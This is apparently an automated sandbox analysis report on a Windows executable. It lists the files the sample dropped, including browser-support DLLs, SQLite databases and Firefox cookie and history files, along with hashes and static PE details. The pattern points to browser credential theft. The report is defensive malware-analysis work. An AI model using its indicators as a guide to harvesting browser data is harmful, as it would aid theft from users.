SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJEGCBGIDHCAKEBGIIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKFIDGDHJEGIEBFHDGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHCGCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: fXg8zgxVTF.exe, Detection: malicious, Browse Filename: T220UXIoKO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946524650523543
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'821'184 bytes
MD5:	73ad7e38fca04042535133a8e77cb2a7
SHA1:	b0844b2103bdac3af2b73dd03f0eb5f3b21eeb85
SHA256:	cd7a9a17ce5febea2ae4953d4835e192da93503606748e84e68c9d91868ba29d
SHA512:	dd7de78685f9cf802c91402c1cf34e7217818a88b4506b4033ef6b5f6f67b3ab93783ae4fc70ad601aa8ff28fdca9abf32fa5e744f9f308998a834d49ef09905
SSDEEP:	49152:4COZai3yqnb9g0xXN8wDh/dbi4hv9Y1l3ZSX:3GNbe0xX6wDhVWMvm1lQ
TLSH:	E685334D77732026CE1A26F31656537271B39BE8D61AFFA0DB4C11D438A52CE80B39A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7434BEC24Ah
push gs
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7434BEE245h
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	2027b12c8c299bcb63d2ea13414b05d3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
